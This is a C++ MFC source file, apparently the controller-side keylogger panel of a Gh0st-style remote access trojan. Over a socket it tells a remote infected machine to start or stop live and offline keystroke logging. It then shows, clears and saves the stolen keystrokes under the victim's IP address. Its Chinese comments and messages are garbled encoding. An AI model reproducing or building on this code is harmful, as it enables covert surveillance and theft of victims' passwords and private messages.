292 lines
7.3 KiB
C++
292 lines
7.3 KiB
C++
// KeyBoardDlg.cpp : implementation file
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "Client.h"
|
||
#include "KeyBoardDlg.h"
|
||
|
||
#ifdef _DEBUG
|
||
#define new DEBUG_NEW
|
||
#undef THIS_FILE
|
||
static char THIS_FILE[] = __FILE__;
|
||
#endif
|
||
|
||
#define IDM_ENABLE_OFFLINE 0x0010
|
||
#define IDM_CLEAR_RECORD 0x0011
|
||
#define IDM_SAVE_RECORD 0x0012
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CKeyBoardDlg dialog
|
||
BOOL addlog =TRUE;
|
||
|
||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||
: CDialog(CKeyBoardDlg::IDD, pParent)
|
||
{
|
||
//{{AFX_DATA_INIT(CKeyBoardDlg)
|
||
// NOTE: the ClassWizard will add member initialization here
|
||
//}}AFX_DATA_INIT
|
||
m_iocpServer = pIOCPServer;
|
||
m_pContext = pContext;
|
||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_WEBCAM));
|
||
|
||
sockaddr_in sockAddr;
|
||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||
int nSockAddrLen = sizeof(sockAddr);
|
||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||
|
||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_KEYBOARD));
|
||
m_bIsOfflineRecord = (BYTE)m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1];
|
||
}
|
||
|
||
|
||
void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
CDialog::DoDataExchange(pDX);
|
||
//{{AFX_DATA_MAP(CKeyBoardDlg)
|
||
DDX_Control(pDX, IDC_EDIT, m_edit);
|
||
DDX_Control(pDX, IDC_OLKEYLOG, m_olkeylog);
|
||
//}}AFX_DATA_MAP
|
||
}
|
||
|
||
|
||
BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
|
||
//{{AFX_MSG_MAP(CKeyBoardDlg)
|
||
ON_WM_SYSCOMMAND()
|
||
ON_WM_CLOSE()
|
||
ON_WM_SIZE()
|
||
ON_BN_CLICKED(IDC_SENDKEY, OnSendkey)
|
||
ON_BN_CLICKED(IDC_DELKEY, OnDelkey)
|
||
ON_BN_CLICKED(IDC_SAVEKEY, OnSavekey)
|
||
ON_BN_CLICKED(IDC_OLKEYLOG, OnOlkeylog)
|
||
ON_WM_CTLCOLOR()
|
||
//}}AFX_MSG_MAP
|
||
END_MESSAGE_MAP()
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CKeyBoardDlg message handlers
|
||
|
||
BOOL CKeyBoardDlg::OnInitDialog()
|
||
{
|
||
CDialog::OnInitDialog();
|
||
|
||
// TODO: Add extra initialization here
|
||
|
||
SetDlgItemText(IDC_STATICKEY, "Test:\r\n");
|
||
|
||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||
|
||
m_edit.SetLimitText(MAXDWORD); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
UpdateTitle();
|
||
|
||
// ֪ͨԶ<D6AA>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
|
||
BYTE bToken = COMMAND_NEXT;
|
||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||
|
||
GetDlgItem(IDC_SENDKEY)->EnableWindow(FALSE);
|
||
m_olkeylog.SetCheck(TRUE);
|
||
|
||
return TRUE;
|
||
}
|
||
void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||
{
|
||
if (nID == IDM_ENABLE_OFFLINE)
|
||
{
|
||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||
if (pSysMenu != NULL)
|
||
{
|
||
BYTE bToken = COMMAND_KEYBOARD_OFFLINE;
|
||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||
m_bIsOfflineRecord = !m_bIsOfflineRecord;
|
||
if (m_bIsOfflineRecord)
|
||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
|
||
else
|
||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
|
||
}
|
||
UpdateTitle();
|
||
|
||
}
|
||
else if (nID == IDM_CLEAR_RECORD)
|
||
{
|
||
BOOL addlog =TRUE;
|
||
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||
m_edit.SetWindowText("");
|
||
}
|
||
else if (nID == IDM_SAVE_RECORD)
|
||
{
|
||
SaveRecord();
|
||
}
|
||
else
|
||
{
|
||
CDialog::OnSysCommand(nID, lParam);
|
||
}
|
||
}
|
||
void CKeyBoardDlg::OnReceiveComplete()
|
||
{
|
||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||
{
|
||
case TOKEN_KEYBOARD_DATA:
|
||
AddKeyBoardData();
|
||
break;
|
||
default:
|
||
// <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
|
||
SendException();
|
||
break;
|
||
}
|
||
}
|
||
|
||
void CKeyBoardDlg::SendException()
|
||
{
|
||
BYTE bBuff = COMMAND_EXCEPTION;
|
||
m_iocpServer->Send(m_pContext, &bBuff, 1);
|
||
}
|
||
|
||
void CKeyBoardDlg::OnClose()
|
||
{
|
||
// TODO: Add your message handler code here and/or call default
|
||
m_pContext->m_Dialog[0] = 0;
|
||
closesocket(m_pContext->m_Socket);
|
||
|
||
CDialog::OnClose();
|
||
}
|
||
|
||
HBRUSH CKeyBoardDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||
{
|
||
int nCtrlID = pWnd->GetDlgCtrlID();
|
||
HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
|
||
if ((nCtrlID == IDC_EDIT_LOG) && (nCtlColor == CTLCOLOR_EDIT))
|
||
{
|
||
COLORREF clr = RGB(0, 255, 0);
|
||
pDC->SetTextColor(clr); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ı<EFBFBD>
|
||
clr = RGB(0,0,0);
|
||
pDC->SetBkColor(clr); //<2F><><EFBFBD>ú<EFBFBD>ɫ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
|
||
hbr = CreateSolidBrush(clr); //<2F><>ΪԼ<CEAA><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><D8B1><EFBFBD>ɫ<EFBFBD><C9AB>Ӧ<EFBFBD><D3A6>ˢ<EFBFBD>Ӿ<EFBFBD><D3BE><EFBFBD>
|
||
}
|
||
else if ((nCtrlID==IDC_EDIT_HOST ||nCtrlID==IDC_EDIT_PORT) && m_lanpenetrate)
|
||
{
|
||
COLORREF clr = RGB(255, 0, 0);
|
||
pDC->SetTextColor(clr); //<2F><><EFBFBD><CDB8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ı<EFBFBD>
|
||
}
|
||
return hbr;
|
||
}
|
||
void CKeyBoardDlg::AddKeyBoardData()
|
||
{
|
||
if(!addlog)
|
||
{
|
||
addlog=TRUE;
|
||
return;
|
||
}
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0
|
||
m_edit.SetWindowText("");
|
||
m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
|
||
int len = m_edit.GetWindowTextLength();
|
||
m_edit.SetSel(len, len);
|
||
m_edit.ReplaceSel((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||
}
|
||
|
||
void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
|
||
{
|
||
CDialog::OnSize(nType, cx, cy);
|
||
}
|
||
|
||
void CKeyBoardDlg::ResizeEdit()
|
||
{
|
||
// RECT rectClient;
|
||
// RECT rectEdit;
|
||
// GetClientRect(&rectClient);
|
||
// rectEdit.left = 0;
|
||
// rectEdit.top = 0;
|
||
// rectEdit.right = rectClient.right;
|
||
// rectEdit.bottom = rectClient.bottom;
|
||
// m_edit.MoveWindow(&rectEdit);
|
||
}
|
||
|
||
void CKeyBoardDlg::PostNcDestroy()
|
||
{
|
||
// TODO: Add your specialized code here and/or call the base class
|
||
delete this;
|
||
CDialog::PostNcDestroy();
|
||
}
|
||
|
||
bool CKeyBoardDlg::SaveRecord()
|
||
{
|
||
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.txt");
|
||
CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "(*.txt)|*.txt|", this);
|
||
if(dlg.DoModal () != IDOK)
|
||
return false;
|
||
|
||
CFile file;
|
||
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
|
||
{
|
||
SetDlgItemText(IDC_STATICKEY,"<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
|
||
return false;
|
||
}
|
||
// Write the DIB header and the bits
|
||
CString strRecord;
|
||
m_edit.GetWindowText(strRecord);
|
||
file.Write(strRecord, strRecord.GetLength());
|
||
file.Close();
|
||
SetDlgItemText(IDC_STATICKEY,"<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD>");
|
||
return true;
|
||
}
|
||
|
||
BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
|
||
{
|
||
// TODO: Add your specialized code here and/or call the base class
|
||
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE))
|
||
{
|
||
return true;
|
||
}
|
||
return CDialog::PreTranslateMessage(pMsg);
|
||
}
|
||
|
||
void CKeyBoardDlg::UpdateTitle()
|
||
{
|
||
CString str;
|
||
str.Format("<EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼ \\\\ %s", m_IPAddress);
|
||
SetWindowText(str);
|
||
}
|
||
|
||
void CKeyBoardDlg::OnSendkey()
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
m_edit.SetWindowText("");//<2F>Ƚ<EFBFBD><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
BYTE bToken = COMMAND_SEND_KEYBOARD;
|
||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||
SetDlgItemText(IDC_STATICKEY,"<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͳɹ<EFBFBD><EFBFBD><EFBFBD>");
|
||
}
|
||
|
||
void CKeyBoardDlg::OnDelkey()
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
addlog=FALSE;
|
||
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||
m_edit.SetWindowText("");
|
||
SetDlgItemText(IDC_STATICKEY,"<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͳɹ<EFBFBD><EFBFBD><EFBFBD>");
|
||
}
|
||
|
||
void CKeyBoardDlg::OnSavekey()
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
SaveRecord();
|
||
}
|
||
void CKeyBoardDlg::OnOlkeylog()
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
if(m_olkeylog.GetCheck())
|
||
{
|
||
GetDlgItem(IDC_SENDKEY)->EnableWindow(FALSE);
|
||
SetDlgItemText(IDC_STATICKEY,"ʵʱ<EFBFBD><EFBFBD>ȡ<EFBFBD>ѿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||
BYTE bToken = COMMAND_KEYBOARD_OLKEYLOG;
|
||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||
}
|
||
else
|
||
{
|
||
GetDlgItem(IDC_SENDKEY)->EnableWindow(TRUE);
|
||
SetDlgItemText(IDC_STATICKEY,"ʵʱ<EFBFBD><EFBFBD>ȡ<EFBFBD>ѹرգ<EFBFBD>");
|
||
BYTE bToken = COMMAND_KEYBOARD_OLKEYLOG_OFF;
|
||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||
}
|
||
} |